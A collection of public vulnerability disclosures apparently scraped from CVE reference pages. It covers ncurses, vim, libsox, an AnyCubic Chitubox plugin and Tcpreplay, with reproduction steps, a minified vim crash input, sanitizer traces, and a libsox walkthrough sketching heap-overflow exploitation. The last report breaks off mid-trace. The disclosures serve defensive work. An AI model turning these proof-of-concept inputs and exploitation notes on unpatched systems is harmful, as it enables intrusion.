The WordPress plugin Be POPIA Compliant exposed sensitive information to unauthenticated users consisting of site visitors emails and usernames via an API route, in versions up to an including 1.1.5.

CVE-2022-1186: Changeset 2701343 for be-popia-compliant – WordPress Plugin Repository

ncurses 6.3 before patch 20220416 has an out-of-bounds read and segmentation violation in convert_strings in tinfo/read_entry.c in the terminfo library.

\[Date Prev\]\[Date Next\]\[Thread Prev\]\[Thread Next\]\[Date Index\]\[Thread Index\]

**From**:

Thomas Dickey

**Subject**:

Re: An illegal memory access in ncurses, tic

**Date**:

Sat, 16 Apr 2022 19:35:09 -0400

**User-agent**:

Mutt/1.10.1 (2018-07-13)

On Sat, Apr 16, 2022 at 04:55:06PM -0400, Thomas Dickey wrote:
> _On Sat, Apr 16, 2022 at 09:19:48PM +0800, 郑晗 wrote:_
> _> Dear developers,_
> _>_ 
> _> I'm a security researcher and is now trying to test my new fuzzer. I've_ 
> _> just found an illegal memory access in the latest commit of ncurse, tic._ 
> _> Here are the informations:_
> _>_ 
> _> (1) environment_
> _> Ubuntu 20.04.3 LTS_
> _> gcc 9.3.0_
> _> ncurse latest commit 74b10d4a30eec8feb66a4b94a72da65be0048447, tag_ 
> _> v6\_3\_20220409_
> _>_ 
> _>_ 
> _> (2) step to reproduce:_ 
> _> export CFLAGS="-fsanitze=address -g"_
> _> export CXXFLAGS="-fsanitize=address -g"_
> _> ./configure &amp;&amp; make -j$(nproc)_
> _> ./prog/tic -o /dev/null $POC_
> 
> _I can reproduce the problem, but the command is incorrect._
> _With that command, tic will exit (because /dev/null is not a directory)_
> _before getting into the area which produces these messages._

I have a simple fix for the immediate problem, but can see that there's
some additional (time-consuming) investigation needed.

-- 
Thomas E. Dickey <dickey@invisible-island.net>
https://invisible-island.net
ftp://ftp.invisible-island.net

 **signature.asc**  
_Description:_ PGP signature

*   **An illegal memory access in ncurses, tic**, _郑晗_, 2022/04/16
    *   **Re: An illegal memory access in ncurses, tic**, _Thomas Dickey_, 2022/04/16
        *   **Re: An illegal memory access in ncurses, tic**, _Thomas Dickey_ **<=**
            *   **Re: An illegal memory access in ncurses, tic**, _郑晗_, 2022/04/17

*   Prev by Date: **Re: An illegal memory access in ncurses, tic**
*   Next by Date: **ANN: ncurses-6.3-20220416**
*   Previous by thread: **Re: An illegal memory access in ncurses, tic**
*   Next by thread: **Re: An illegal memory access in ncurses, tic**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2022-29458: Re: An illegal memory access in ncurses, tic

global heap buffer overflow in skip_range in GitHub repository vim/vim prior to 8.2.4763. This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

**✍️ Description**

When fuzzing vim commit f420ff244 v8.2.4747 with clang 13 and ASan, I discovered a global buffer overflow.

**Proof of Concept**

Here is the minified poc

    r<sfile>
    0norm0V:^[
    

How to build

    LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
    make -j$(nproc)
    

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!

ASan stack trace:

    aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!
    =================================================================
    ==3301533==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000f3489b at pc 0x0000006dcf37 bp 0x7fffffff5b90 sp 0x7fffffff5b88
    READ of size 1 at 0x000000f3489b thread T0
        #0 0x6dcf36 in skip_range /home/aldo/vimtes/src/ex_docmd.c:4039:62
        #1 0x6ce745 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1826:11
        #2 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
        #3 0x914a95 in nv_colon /home/aldo/vimtes/src/normal.c:3191:19
        #4 0x8f7ced in normal_cmd /home/aldo/vimtes/src/normal.c:930:5
        #5 0x6fa35d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8730:6
        #6 0x6f9f63 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8693:5
        #7 0x6f9cc3 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8611:6
        #8 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #9 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
        #10 0xafb875 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1665:5
        #11 0xaf92c0 in do_source /home/aldo/vimtes/src/scriptfile.c:1791:12
        #12 0xaf8df9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1165:14
        #13 0xaf88dd in ex_source /home/aldo/vimtes/src/scriptfile.c:1191:2
        #14 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #15 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
        #16 0x6cc680 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
        #17 0xed3ca4 in exe_commands /home/aldo/vimtes/src/main.c:3104:2
        #18 0xed19d9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
        #19 0xecb2c0 in main /home/aldo/vimtes/src/main.c:432:12
        #20 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
        #21 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)
    
    0x000000f3489b is located 5 bytes to the left of global variable '<string literal>' defined in 'ex_docmd.c:2821:27' (0xf348a0) of size 2
      '<string literal>' is ascii string '+'
    0x000000f3489b is located 53 bytes to the right of global variable '<string literal>' defined in 'ex_docmd.c:2795:9' (0xf34860) of size 6
      '<string literal>' is ascii string ''<,'>'
    SUMMARY: AddressSanitizer: global-buffer-overflow /home/aldo/vimtes/src/ex_docmd.c:4039:62 in skip_range
    Shadow bytes around the buggy address:
      0x0000801de8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0000801de8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0000801de8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 f9
      0x0000801de8f0: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 04 f9
      0x0000801de900: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 06 f9 f9 f9
    =>0x0000801de910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9
      0x0000801de920: f9 f9 f9 f9 00 03 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
      0x0000801de930: f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
      0x0000801de940: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
      0x0000801de950: f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 00 02 f9 f9
      0x0000801de960: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3301533==ABORTING
    

**💥 Impact**

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

**Impact**

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE-2022-1381: global heap buffer overflow in skip_range in vim

A heap-based buffer overflow vulnerability exists in the sphere.c start_read() functionality of Sound Exchange libsox 14.4.2 and master commit 42b3557e. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A heap-based buffer overflow vulnerability exists in the sphere.c start\_read() functionality of Sound Exchange libsox 14.4.2 and master commit 42b3557e. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Sound Exchange libsox 14.4.2  
Sound Exchange libsox master commit 42b3557e

**PRODUCT URLS**

libsox - http://sox.sourceforge.net/Main/HomePage

**CVSSv3 SCORE**

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**DETAILS**

Libsox is a well-aged library used for cross-platform audio editing software, originally written in 1991. After decades of development, a wide range of file formats are supported, including .wav, .flac, and .mp3 (with the aid of an external library).

Out of the multitude of file formats that Sound Exchange’s libsox can deal with, today we discuss the extremely obscure NIST Speech Header Resources (SPHERE) file format, which apparently is used for speech recognition. But regardless of the purpose, libsox will still process a given file as a .sph assuming that the file header matches:

     static char const * auto_detect_format(sox_format_t * ft, char const * ext)
    {
      char data[AUTO_DETECT_SIZE];
      size_t len = lsx_readbuf(ft, data, ft->seekable? sizeof(data) : PIPE_AUTO_DETECT_SIZE);
      #define CHECK(type, p2, l2, d2, p1, l1, d1) if (len >= p1 + l1 && \
          !memcmp(data + p1, d1, (size_t)l1) && !memcmp(data + p2, d2, (size_t)l2)) return #type;
      // [...]
      CHECK(sph   , 0, 0, ""     , 0,  7, "NIST_1A")
    

This auto_detect_format will be hit from either sox_open_mem_read or sox_open_read, but only if the filetype is not specified by the arguments. Either way, since it’s possible to hit the processing in sphere.c via autodetection, let us look at the start_read function for the SPHERE file format:

    static int start_read(sox_format_t * ft)
    {
      unsigned long header_size_ul = 0, num_samples_ul = 0;   
      size_t     header_size, bytes_read;  
      // [...]
      char           fldname[64], fldtype[16], fldsval[128];
      char           * buf;
    
      /* Magic header */
      if (lsx_reads(ft, fldname, (size_t)8) || strncmp(fldname, "NIST_1A", (size_t)7) != 0) {   // [1]
        lsx_fail_errno(ft, SOX_EHDR, "Sphere header does not begin with magic word `NIST_1A'");
        return (SOX_EOF);
      }
    
      if (lsx_reads(ft, fldsval, (size_t)8)) {                                                  // [2]
        lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
        return (SOX_EOF);
      }
    
      /* Determine header size, and allocate a buffer large enough to hold it. */
      sscanf(fldsval, "%lu", &header_size_ul);                                                  // [3]
      if (header_size_ul < 16) {
        lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
        return (SOX_EOF);
      }
    
      buf = lsx_malloc(header_size = header_size_ul);                                           // [4]
    

So far the code is pretty standard. We read eight bytes at \[1\], make sure the “NIST\_1A” magic bytes are there, and then read another eight bytes at \[2\], this time populating them into the unsigned long header_size_ul at \[3\]. At \[4\], we then allocate a buffer of that size. Again, pretty standard. Continuing on:

      /* Skip what we have read so far */
      header_size -= 16;
    
      if (lsx_reads(ft, buf, header_size) == SOX_EOF) {       // [5]
        lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
        free(buf);
        return (SOX_EOF);
      }
    
      header_size -= (strlen(buf) + 1);
    

At \[5\] we see the main function used for reading our input buffer, lsx_reads. Suffice to say, this function is essentially fgets (although I’m not actually sure which function has seniority), and buf will contain a new line of text from our input buffer every time lsx_reads is called. We now finally reach our main processing loop:

      while (strncmp(buf, "end_head", (size_t)8) != 0) {    // [6]
      
        if (strncmp(buf, "sample_n_bytes", (size_t)14) == 0)
          sscanf(buf, "%63s %15s %u", fldname, fldtype, &bytes_per_sample);
        else if (strncmp(buf, "channel_count", (size_t)13) == 0)
          sscanf(buf, "%63s %15s %u", fldname, fldtype, &channels);
          // [...] 
          else {
            lsx_fail_errno(ft, SOX_EFMT, "sph: unsupported coding `%s'", fldsval);
            free(buf);
            return SOX_EOF;
          }
        }
        else if (strncmp(buf, "sample_byte_format", (size_t)18) == 0) {
          sscanf(buf, "%53s %15s %127s", fldname, fldtype, fldsval);
          if (strcmp(fldsval, "01") == 0)         /* Data is little endian. */
            ft->encoding.reverse_bytes = MACHINE_IS_BIGENDIAN;
          else if (strcmp(fldsval, "10") == 0)    /* Data is big endian. */
            ft->encoding.reverse_bytes = MACHINE_IS_LITTLEENDIAN;
          else if (strcmp(fldsval, "1")) {
            lsx_fail_errno(ft, SOX_EFMT, "sph: unsupported coding `%s'", fldsval);
            free(buf);
            return SOX_EOF;
          }
        }
    
        if (lsx_reads(ft, buf, header_size) == SOX_EOF) {   // [7]
          lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
          free(buf);
          return (SOX_EOF);
        }
    
        header_size -= (strlen(buf) + 1); 
    

At \[6\], we can see that we’re looping until a end_head header is found, but in the meantime, we search for various headers in the file (e.g. "channel_count", "sample_byte_format", etc.). After going through the specific buffer line, we read a new one in at \[7\], then subtract the length of our new buffer plus one at \[8\]. The + 1 compensates for the \n or \x00 bytes that delimit the headers of our file.

But let’s examine a situation in which we provide a file that does not contain a valid end_head header:

      while (strncmp(buf, "end_head", (size_t)8) != 0) {  // [6]
      
        if (strncmp(buf, "sample_n_bytes", (size_t)14) == 0)
          sscanf(buf, "%63s %15s %u", fldname, fldtype, &bytes_per_sample);
        else if (strncmp(buf, "channel_count", (size_t)13) == 0)
            // [...]
        }
    
        if (lsx_reads(ft, buf, header_size) == SOX_EOF) { // [7] 
          lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
          free(buf);
          return (SOX_EOF);
        }
    
        header_size -= (strlen(buf) + 1); 
    

At \[6\] again, we start our loop, which eventually processes our header strings inside, but then at \[7\] the next header is read via lsx_reads. A quick look at lsx_reads reveals an important detail:

    int lsx_reads(sox_format_t * ft, char *c, size_t len)
    {
        char *sc;
        char in;
    
        sc = c;
        do  // [8]
        {
            if (lsx_readbuf(ft, &in, (size_t)1) != 1)
            {
                *sc = 0;
                return (SOX_EOF);
            }
            if (in == 0 || in == '\n')
                break;
    
            *sc = in;
            sc++;
        } while (sc - c < (ptrdiff_t)len);  // [9]
        *sc = 0;
        return(SOX_SUCCESS);
    }
    

Since lsx_reads utilizes a do/while loop (\[8\], \[9\]), even though the conditional at \[9\] depends on a less-than sign and not a less-than-equals-to sign. If our input len parameter is 22, then 22 bytes of data are copied over, followed by the null byte write. So in effect, 23 bytes of data get written from a 22 byte len, which is an off-by-one. Curiously, in spite of lsx_reads ubiquitous usage in libsox, all the other call sites compensate for this off-by-one, usually with a -1 to the input len parameter when calling. However, in the sphere.c code, we see a different compensation:

        if (lsx_reads(ft, buf, header_size) == SOX_EOF) {   // [10]
          lsx_fail_errno(ft, SOX_EHDR, "Error reading Sphere header");
          free(buf);
          return (SOX_EOF);
        }
    
        header_size -= (strlen(buf) + 1);                   // [11]
    

At \[11\], we can see that an extra byte is subtracted from our header_size parameter to compensate for the off-by-one in lsx_reads. Thus, if the header_size is 22 and our next buffer is read in, lsx_reads will stop at 22 bytes (regardless of the length of the rest of the buffer). Then we subtract 23 from header_size, resulting in an integer underflow.

With regards to exploitation: While normally such a situation might result in a wild copy (i.e. we couldn’t stop the bug from writing into things we don’t want it to and crashing), we’re bailed out by the overall structure of this function. We’d simply have our next read be our overflow string of any size that we wanted, and then the following read just being "end_head". This would allow us to arbitrarily overwrite data on the heap while also allowing us to continue into the code to actually utilize the heap overflow.

**Crash Information**

    ==778467==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000000ba at pc 0x0000004bea6e bp 0x7ffeacb7c950 sp 0x7ffeacb7c118
    WRITE of size 203 at 0x6060000000ba thread T0
        #0 0x4bea6d in __interceptor_fread (/doop/boop/sox/triage_built/fuzz_sox.bin+0x4bea6d)
        #1 0x7ff5dc360ea7 in lsx_readbuf /doop/boop/sox/triage_built/triage_sox/src/formats_i.c:98:16
        #2 0x7ff5dc4b9bc0 in start_read /doop/boop/sox/triage_built/triage_sox/src/sphere.c:119:18
        #3 0x7ff5dc46c864 in open_read /doop/boop/sox/triage_built/triage_sox/src/formats.c:545:32
        #4 0x7ff5dc46d2bb in sox_open_mem_read /doop/boop/sox/triage_built/triage_sox/src/formats.c:595:10
        #5 0x55623a in LLVMFuzzerTestOneInput /doop/boop/sox/./fuzz_sox_harness.cpp:51:10
        #6 0x456ff3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) fuzzer.o
        #7 0x442b32 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) fuzzer.o
        #8 0x448a5b in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) fuzzer.o
        #9 0x471ef2 in main (/doop/boop/sox/triage_built/fuzz_sox.bin+0x471ef2)
        #10 0x7ff5dbfa1fcf in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #11 0x7ff5dbfa207c in __libc_start_main csu/../csu/libc-start.c:409:3
        #12 0x41f7a4 in _start (/doop/boop/sox/triage_built/fuzz_sox.bin+0x41f7a4)
    
    0x6060000000ba is located 0 bytes to the right of 58-byte region [0x606000000080,0x6060000000ba)
    allocated by thread T0 here:
        #0 0x521d83 in __interceptor_realloc (/doop/boop/sox/triage_built/fuzz_sox.bin+0x521d83)
        #1 0x7ff5dc47b388 in lsx_realloc /doop/boop/sox/triage_built/triage_sox/src/xmalloc.c:37:14
        #2 0x7ff5dc4b9376 in start_read /doop/boop/sox/triage_built/triage_sox/src/sphere.c:55:9
        #3 0x7ff5dc46c864 in open_read /doop/boop/sox/triage_built/triage_sox/src/formats.c:545:32
        #4 0x7ff5dc46d2bb in sox_open_mem_read /doop/boop/sox/triage_built/triage_sox/src/formats.c:595:10
        #5 0x55623a in LLVMFuzzerTestOneInput /doop/boop/sox/./fuzz_sox_harness.cpp:51:10
        #6 0x456ff3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) fuzzer.o
        #7 0x442b32 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) fuzzer.o
        #8 0x448a5b in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) fuzzer.o
        #9 0x471ef2 in main (/doop/boop/sox/triage_built/fuzz_sox.bin+0x471ef2)
        #10 0x7ff5dbfa1fcf in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/doop/boop/sox/triage_built/fuzz_sox.bin+0x4bea6d) in __interceptor_fread
    Shadow bytes around the buggy address:
      0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c0c7fff8000: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
    =>0x0c0c7fff8010: 00 00 00 00 00 00 00[02]fa fa fa fa fa fa fa fa
      0x0c0c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
    
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==692318==ABORTING
    

**TIMELINE**

2021-12-22 - Initial contact  
2022-01-14 - Follow up with vendor; vendor acknowledged  
2022-03-23 - Vendor disclosure

Discovered by Lilith >\_> of Cisco Talos.

CVE-2021-40426: TALOS-2021-1434 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the readDatHeadVec functionality of AnyCubic Chitubox AnyCubic Plugin 1.0.0. A specially-crafted GF file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the readDatHeadVec functionality of AnyCubic Chitubox AnyCubic Plugin 1.0.0. A specially-crafted GF file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

AnyCubic Chitubox AnyCubic Plugin 1.0.0  
Chitubox Basic V1.8.1

**Product URLs**

https://www.chitubox.com

**CVSSv3 Score**

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The Chitubox AnyCubic plugin is used to convert the output of the Chitubox slicer (general format files) into the format expected by AnyCubic’s series of printers. These converted files are then used directly for all functionality provided by the printers.

A heap buffer overflow occurs within the GfFile::readDatHeadVec function seen below. The overflow occurs due to an integer overflow that occurs at [1] . This overflow is caused by using 32-bit registers instead of the extended 64-bit registers. The imul instruction will truncate the value during the multiplication, losing the most significant 32 bits. This calculated sized is used at [2] to allocate the correct size for the vector of GfDatHead_t. At [3] a very similar multiplication occurs, but uses a 64-bit register for the multiplication instead, thus eliminating the possibility of an overflow (since both values are loaded as 32-bit values). This new value calculated at [3] is used at [4] in the fread as a length of data to read into the buffer sized using the value calculated at [1] which is too small, resulting in a buffer overflow while reading the file contents into the buffer.

    00006630  int64_t GfFile::readDatHeadVec(struct GfFile* this)
    
    00006630  f30f1efa           endbr64 
    00006634  53                 push    rbx {__saved_rbx}
    00006635  488b9728010000     mov     rdx, qword [rdi+0x128 {GfFile::gfDataHead.end}]
    0000663c  4889fb             mov     rbx, rdi
    0000663f  488b8f20010000     mov     rcx, qword [rdi+0x120 {GfFile::gfDataHead.begin}]
    00006646  // Load 0x6
    00006646  8b7734             mov     esi, dword [rdi+0x34 {GfFile::headerBuffer.__offset(0x24).d}]
    00006649  4889d0             mov     rax, rdx
    0000664c  // Multiply by 0x80000001
    0000664c  // 
    0000664c  // This is an overflow
    0000664c  0faf7730           imul    esi, dword [rdi+0x30 {GfFile::headerBuffer.__offset(0x20).d}]              [1]
    00006650  48bf398ee3388ee3…mov     rdi, 0x8e38e38e38e38e39
    0000665a  4829c8             sub     rax, rcx
    0000665d  48c1f802           sar     rax, 0x2
    00006661  480fafc7           imul    rax, rdi
    00006665  4863f6             movsxd  rsi, esi
    00006668  4839c6             cmp     rsi, rax
    0000666b  7753               ja      0x66c0
    
    0000666d  7314               jae     0x6683
    
    0000666f  488d04f6           lea     rax, [rsi+rsi*8]
    00006673  488d0481           lea     rax, [rcx+rax*4]
    00006677  4839c2             cmp     rdx, rax
    0000667a  7407               je      0x6683
    
    0000667c  48898328010000     mov     qword [rbx+0x128 {GfFile::gfDataHead.end}], rax
    
    00006683  48637338           movsxd  rsi, dword [rbx+0x38 {GfFile::headerBuffer.datHeadVecOffset}]
    00006687  488b7b08           mov     rdi, qword [rbx+0x8 {GfFile::GfFilePointer}]
    0000668b  31d2               xor     edx, edx  {0x0}
    0000668d  e87ebcffff         call    fseek
    00006692  // Load 0xffffffff80000001
    00006692  48635330           movsxd  rdx, dword [rbx+0x30 {GfFile::headerBuffer.__offset(0x20).d}]
    00006696  // Load 0x6
    00006696  48634334           movsxd  rax, dword [rbx+0x34 {GfFile::headerBuffer.__offset(0x24).d}]
    0000669a  be01000000         mov     esi, 0x1
    0000669f  488b4b08           mov     rcx, qword [rbx+0x8 {GfFile::GfFilePointer}]
    000066a3  488bbb20010000     mov     rdi, qword [rbx+0x120 {GfFile::gfDataHead.begin}]
    000066aa  // Same multiply as earlier, but with 64-bit registers
    000066aa  480fafc2           imul    rax, rdx                                                                   [3]
    000066ae  488d14c0           lea     rdx, [rax+rax*8]
    000066b2  48c1e202           shl     rdx, 0x2
    000066b6  // This fread will read in the un-overflowed value of bytes into a buffer only sized for 
    000066b6  // the overflowed 32 bit value
    000066b6  e8d5bcffff         call    fread                                                                      [4]
    000066bb  31c0               xor     eax, eax  {0x0}
    000066bd  5b                 pop     rbx {__saved_rbx}
    000066be  c3                 retn     {__return_addr}    
    000066c0  4829c6             sub     rsi, rax
    000066c3  488dbb20010000     lea     rdi, [rbx+0x120]
    000066ca  e821020000         call    std::vector<GfDatHead_t,...tor<GfDatHead_t> >::_M_default_append           [2]
    000066cf  ebb2               jmp     0x6683
    

**Crash Information**

    ---CRASH SUMMARY---
    Filename: 0/crashes.2021-07-08-06:48:19/id:000003,sig:06,src:000002,time:7983168,op:flip1,pos:35.gf
    SHA1: d1e3930a21198a5f47b4a74172e3b521d24b5404
    Classification: EXPLOITABLE
    Hash: d534e5b0051653dc75a9212440169e08.740bedddcd989b50806d5aa54a764319
    Command: ../AnyCubicPluginLinux 0/crashes.2021-07-08-06:48:19/id:000003,sig:06,src:000002,time:7983168,op:flip1,pos:35.gf out.pwx
    Faulting Frame:
       operator new(unsigned long) @ 0x00007ffff7e78b39: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
    Disassembly:
       0x00007ffff7abb8ba: xor edx,edx
       0x00007ffff7abb8bc: mov rsi,r9
       0x00007ffff7abb8bf: mov edi,0x2
       0x00007ffff7abb8c4: mov eax,0xe
       0x00007ffff7abb8c9: syscall
    => 0x00007ffff7abb8cb: mov rax,QWORD PTR [rsp+0x108]
       0x00007ffff7abb8d3: sub rax,QWORD PTR fs:0x28
       0x00007ffff7abb8dc: jne 0x7ffff7abb904 <__GI_raise+260>
       0x00007ffff7abb8de: mov eax,r8d
       0x00007ffff7abb8e1: add rsp,0x118
    Stack Head (12 entries):
       __GI_raise                @ 0x00007ffff7abb8cb: in (BL)
       __GI_abort                @ 0x00007ffff7aa0864: in (BL)
       __libc_message            @ 0x00007ffff7b03af6: in (BL)
       malloc_printerr           @ 0x00007ffff7b0c46c: in (BL)
       _int_malloc               @ 0x00007ffff7b0fb14: in (BL)
       __GI___libc_malloc        @ 0x00007ffff7b115d4: in (BL)
       operator                  @ 0x00007ffff7e78b39: in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
       std::vector<PhotonsLayerH @ 0x0000555555558a01: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       PwsFile::WritePrepare(GfF @ 0x00005555555579df: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       PwsFile::ZipImages(GfFile @ 0x00005555555588d6: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       Encode2GfFile(char        @ 0x00005555555569a0: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
       main                      @ 0x0000555555556619: in /home/fuzz/Desktop/chitubox/resource/plugin/AnycubicPlugin/AnyCubicPluginLinux
    Registers:
    rax=0x0000000000000000 rbx=0x00007ffff7a78f80 rcx=0x00007ffff7abb8cb rdx=0x0000000000000000
    rsi=0x00007fffffffd560 rdi=0x0000000000000002 rbp=0x00007fffffffd8b0 rsp=0x00007fffffffd560
     r8=0x0000000000000000  r9=0x00007fffffffd560 r10=0x0000000000000008 r11=0x0000000000000246
    r12=0x00007fffffffd7d0 r13=0x0000000000000010 r14=0x00007ffff7fc7000 r15=0x0000000000000001
    rip=0x00007ffff7abb8cb efl=0x0000000000000246  cs=0x0000000000000033  ss=0x000000000000002b
     ds=0x0000000000000000  es=0x0000000000000000  fs=0x0000000000000000  gs=0x0000000000000000
    Extra Data:
       Description: Heap error
       Short description: HeapError (10/22)
       Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped.
    ---END SUMMARY---
    

**Timeline**

2021-09-28 - Vendor Disclosure  
2021-10-29- 30 day follow up  
2021-11-18 - 45+ day follow up  
2021-12-13 - Final follow up  
2022-01-10 - Public Release

Discovered by Carl Hurd of Cisco Talos.

CVE-2021-21948: TALOS-2021-1376 || Cisco Talos Intelligence Group

Tcpreplay v4.4.1 was discovered to contain a double-free via __interceptor_free.

You are opening a _bug report_ against the Tcpreplay project: we use  
GitHub Issues for tracking bug reports and feature requests.

If you have a question about how to use Tcpreplay, you are at the wrong  
site. You can ask a question on the tcpreplay-users mailing list  
or on Stack Overflow with \[tcpreplay\] tag.  
General help is available here.

If you have a build issue, consider downloading the latest release

Otherwise, to report a bug, please fill out the reproduction steps  
(below) and delete these introductory paragraphs. Thanks!

**Describe the bug**  
Double free in tcpreplay.

**To Reproduce**  
Steps to reproduce the behavior:

1.  export CFLAGS="-g -fsanitize=address" export CXXFLAGS="-g -fsanitize=address"
2.  ./configure --disable-local-libopts
3.  make
4.  tcprewrite -i POC1 -o /dev/null

**ASAN**

    Warning: ../../../POC1 was captured using a snaplen of 2 bytes.  This may mean you have truncated packets.
    =================================================================
    ==1805053==ERROR: AddressSanitizer: attempting double-free on 0x60c0000001c0 in thread T0:
